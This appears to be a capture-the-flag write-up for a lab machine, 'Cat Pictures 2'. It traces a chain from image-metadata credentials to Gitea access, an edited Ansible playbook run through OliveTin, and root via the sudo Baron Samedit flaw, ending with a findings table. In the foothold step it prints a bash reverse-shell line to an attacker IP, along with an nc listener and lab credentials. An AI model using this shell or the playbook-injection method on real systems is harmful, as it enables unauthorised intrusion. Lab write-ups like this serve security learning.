Cat Pictures 2
Table of Contents
Description
Now with more Cat Pictures!
Related: Content Discovery BloodHound Pass-the-Hash
CTF
Enumeration
Port scan
nmap -sV -sC --open -T4 $IP
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 80/tcp open http nginx 1.4.6 (Ubuntu) | http-git: | 10.128.150.188:80/.git/ | Git repository found! | Remotes: https://github.com/electerious/Lychee.git | http-robots.txt: 7 disallowed entries |_/data/ /dist/ /docs/ /php/ /plugins/ /src/ /uploads/ |_http-title: Lychee 222/tcp open ssh OpenSSH 9.0 3000/tcp open http Golang net/http server |_http-title: Gitea: Git with a cup of tea 8080/tcp open http SimpleHTTPServer 0.6 (Python 3.6.9) |_http-title: Welcome to nginx!
Initial surface: Lychee (photo app, port 80) with an exposed
.git, a second SSH instance on a non-standard port (222), Gitea
(port 3000), and a bare Python file server (port 8080). A fifth
service — OliveTin on port 1337 — was not visible in this scan and
was only discovered later via a credential note hidden in image
metadata.
Exposed .git on Lychee (port 80) — dead end
Confirmed live:
curl -s http://10.128.150.188/.git/config
[core]
repositoryformatversion = 0
[remote "origin"]
url = https://github.com/electerious/Lychee.git
git-dumper returned 404 on every object — repo is packed, not
loose objects. Switched to GitTools' gitdumper.sh:
git clone https://github.com/internetwache/GitTools.git
cd GitTools/Dumper
./gitdumper.sh http://10.128.150.188/.git/ ../../lychee
Metadata (HEAD, config, packed-refs, index, reflogs)
downloaded successfully, but every object blob 404'd — deliberate
pruning rather than a genuine misconfiguration.
Recovered the tracked file listing from index alone (readable
without blob content):
git ls-files
File listing matches vanilla upstream electerious/Lychee exactly.
Latest DB migration present: update_030100.php (old, outdated
version).
Conclusion: git exposure is a red herring — no content beyond confirming an outdated Lychee install.
Gitea (port 3000) — empty on the surface
Found a user profile with no visible repos:
http://10.128.150.188:3000/samarium
Standard ROOT_URL mismatch warning shown (app.ini configured for
localhost:3000, accessed via IP) — config-mismatch notice, not a
vulnerability on its own.
No organizations found. Registration was open; registered an account and re-checked explore pages while authenticated — no change, no private repos surfaced.
XMP metadata in a Lychee-hosted photo — the actual thread
A photo in the Lychee gallery had visible gallery text noting
metadata should have been stripped.
exiftool's default summary view showed nothing, but strings on
the downloaded image revealed an embedded XMP block the default
exiftool output missed:
<dc:title> <rdf:Alt> <rdf:li xml:lang='x-default'>:8080/764efa883dda1e11db47671c4a3bbd9e.txt</rdf:li> </rdf:Alt> </dc:title>
Confirms port 8080 serves specific, unlisted files by hash-named
path rather than being a placeholder. exiftool -xmp:all or
-a -u -g1 should be tried whenever the default summary view looks
clean — XMP fields can be present but not surfaced by default.
Fetched the referenced file:
curl -s http://10.128.150.188:8080/764efa883dda1e11db47671c4a3bbd9e.txt
note to self: I setup an internal gitea instance to start using IaC for this server. It's at a quite basic state, but I'm putting the password here because I will definitely forget. This file isn't easy to find anyway unless you have the correct url... gitea: port 3000 user: samarium password: TUmhyZ37CLZrhP ansible runner (olivetin): port 1337
Ties together: confirms samarium as the correct Gitea account,
provides credentials, and reveals a previously-unknown service
(OliveTin, port 1337) — explaining the Flag 2 "ansible!" hint.
Foothold
Gitea repo discovery — samarium/ansible
Logged into Gitea with the recovered credentials. Guessed repo name directly rather than relying on the (empty) explore/profile views:
http://10.128.150.188:3000/samarium/ansible
Repo contained a flag file and a single playbook:
---
- name: Test
hosts: all
remote_user: bismuth
tasks:
- name: get the username running the deploy
become: false
command: whoami
register: username_on_the_host
changed_when: false
- debug: var=username_on_the_host
- name: Test
shell: echo hi
Confirmed a second username, bismuth, set as remote_user.
Password reuse tested against SSH (ports 22 and 222) for both
bismuth and samarium using the Gitea password — no success.
Flag 1
10d916eaea54bb5ebe36b59538146bb5
(from the flag file in the samarium/ansible repo)
OliveTin (port 1337) — unauthenticated automation panel
No authentication required at all. Dashboard exposed five
predefined actions: Run backup script, Ping host, Run Ansible
Playbook, Slow Script, Broken Script (timeout). Version banner:
2022-10-19.
Researched known vulnerabilities at this version — CVE-2026-27626
(OS Command Injection, CVSS 9.9) affects all versions up to
3000.10.0 via two vectors: unsanitised password-typed action
arguments, and unauthenticated webhook-triggered actions bypassing
type-safety checks entirely. Confirmed the "Run Ansible Playbook"
action had no input fields exposed, so the argument-injection vector
did not directly apply here — moved to a different exploitation path
instead (see below). Worth retaining as a documented, viable
alternative: this instance is vulnerable to CVE-2026-27626 regardless
of which path was actually taken.
Ran "Run Ansible Playbook" once as a baseline — confirmed it
performs a live git pull against the Gitea repo before executing,
running as bismuth against 127.0.0.1:
Already up to date. TASK [get the username running the deploy] ok: [127.0.0.1] => stdout: "bismuth"
Privilege Escalation
IaC trust-boundary abuse — playbook edit to RCE
Since the action pulls and executes whatever is currently committed
to the Gitea repo, with no review/approval gate, pushed a modified
playbook via the already-recovered samarium credentials:
git clone http://samarium:TUmhyZ37CLZrhP@10.128.150.188:3000/samarium/ansible.git
cd ansible
Replaced the final task with a reverse shell:
- name: Test shell: "bash -c 'bash -i >& /dev/tcp/192.168.146.137/4444 0>&1'"
git add .
git commit -m "update playbook"
git push
Listener on attack machine:
nc -lvnp 4444
Triggered "Run Ansible Playbook" in the OliveTin UI — shell received
as bismuth.
Classification: distinct from CVE-2026-27626 — this is a CI/CD-style trust-boundary failure (anyone able to write to the automation repo gains code execution as whatever account runs the pipeline), not an argument-sanitisation bug. Both are valid, separately reportable findings against this instance.
Flag 2
bismuth@catpictures-ii:~$ cat flag2.txt
5e2cafbbf180351702651c09cd797920
Local enumeration as bismuth
groups
bismuth adm cdrom dip plugdev lpadmin sambashare
No sudo rights, no immediately exploitable group membership
(adm grants log read access, checked for leaked credentials —
none found beyond what was already recovered).
CVE-2021-3156 (Baron Samedit) — sudo heap overflow to root
LinPEAS flagged the sudo version as a known-vulnerable target:
sudo --version
Sudo version 1.8.21p2
Vulnerable to CVE-2021-3156 — a heap-based buffer overflow in sudo's command-line parsing (affects 1.8.2 through 1.9.5p1), exploitable by any local user regardless of sudoers entries or having a password. No sudo rights or group-based privilege were needed for this path.
# exploit: https://github.com/worawit/CVE-2021-3156 # transferred via python http.server, executed locally
Root obtained.
Flag 3
cat /root/flag3.txt
6d2a9f8f8174e86e27d565087a28a971
Flags
| Flag | Value | Status |
|---|---|---|
| Flag 1 | 10d916eaea54bb5ebe36b59538146bb5 | DONE |
| Flag 2 | 5e2cafbbf180351702651c09cd797920 | DONE |
| Flag 3 | 6d2a9f8f8174e86e27d565087a28a971 | DONE |
Findings Summary
| Finding | Classification | Severity |
|---|---|---|
| Outdated Lychee install with exposed (partially pruned) .git | Information Disclosure / Security Misconfiguration | Medium |
| Sensitive credentials embedded in image XMP metadata | Information Disclosure | High |
| Password reused to grant Gitea repository access | Broken Authentication / Credential Reuse | High |
| No authentication on OliveTin automation panel | Broken Access Control / Missing Authentication | Critical |
| OliveTin vulnerable to CVE-2026-27626 (unpatched, argument/webhook injection) | Command Injection (known CVE) | Critical |
| No review/approval gate between IaC repo write access and code execution | Broken Access Control / Insecure CI-CD Trust Boundary | Critical |
| sudo 1.8.21p2 vulnerable to CVE-2021-3156 (Baron Samedit) | Privilege Escalation (known CVE) | Critical |
Notes
Two distinct information-disclosure techniques chained early on:
- Packed
.gitexposure with metadata present but object data deliberately stripped — a red herring requiring verification before over-investing effort. - Metadata-as-covert-channel: a specific unlisted file path hidden
in a photo's XMP
dc:titlefield, only found viastringsafter exiftool's default summary view missed it. Worthexiftool -xmp:allor-a -u -g1as a standing follow-up check whenever a gallery/upload feature is in scope and the default summary looks clean.
Full chain: photo metadata -> hidden file on file server -> Gitea
credentials -> Ansible repo -> OliveTin service discovery -> IaC
trust-boundary abuse (playbook edit) for foothold as bismuth ->
CVE-2021-3156 for root. Notably, OliveTin was independently
vulnerable to CVE-2026-27626 as well — the room could plausibly be
solved via direct argument/webhook injection instead of the
playbook-edit route actually taken. Worth remembering both paths
exist on a vulnerable OliveTin instance: check action argument types
for password-typed fields, and check for webhook-triggered actions,
even when a more "obvious" write-access path is available.
Good room for reinforcing the instinct to verify default tool output before concluding a dead end (packed git objects, exiftool's default summary) rather than treating a negative result at face value.